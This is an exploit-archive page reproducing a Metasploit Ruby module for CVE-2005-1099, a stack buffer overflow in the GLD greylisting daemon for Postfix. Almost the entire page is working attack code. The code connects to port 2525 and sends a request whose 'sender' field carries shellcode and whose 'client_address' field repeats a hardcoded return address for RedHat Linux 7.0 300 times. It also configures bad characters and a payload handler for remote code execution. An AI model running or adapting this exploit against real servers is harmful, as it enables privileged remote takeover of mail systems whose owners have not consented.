Salim Gasmi GLD (Greylisting Daemon) 1.0 < 1.4 - Postfix Greylisting Buffer Overflow (Metasploit)

Related Vulnerabilities: CVE-2005-1099  
Publish Date: 12 Apr 2005
Author: patrick
                							

                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


	class Metasploit3 &lt; Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=&gt; 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
			'Description'	=&gt; %q{
				This module exploits a stack overflow in the Salim Gasmi
				GLD &lt;= 1.4 greylisting daemon for Postfix. By sending an
				overly long string the stack can be overwritten.
			},
			'Version'	=&gt; '$Revision$',
			'Author'	=&gt; [ 'patrick' ],
			'Arch'		=&gt; ARCH_X86,
			'Platform'	=&gt; 'linux',
			'References'	=&gt;
				[
					[ 'CVE', '2005-1099' ],
					[ 'OSVDB', '15492' ],
					[ 'BID', '13129' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/934' ],
				],
			'Privileged'	=&gt; true,
			'License'	=&gt; MSF_LICENSE,
			'Payload'	=&gt;
				{
					'Space' =&gt; 1000,
					'BadChars' =&gt; "\x00\x0a\x0d\x20=",
					'StackAdjustment' =&gt; -3500,
				},
			'Targets'	=&gt;
				[
					[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' =&gt; 0xbfffa5d8 } ],
				],
			'DefaultTarget'	=&gt; 0
		))

		register_options(
			[
				Opt::RPORT(2525)
			],
			self.class
		)
	end
	
	def exploit
		connect

		sploit = "sender="+ payload.encoded + "\r\n"
		sploit &lt;&lt; "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"

		sock.put(sploit)
		handler
		disconnect

	end

end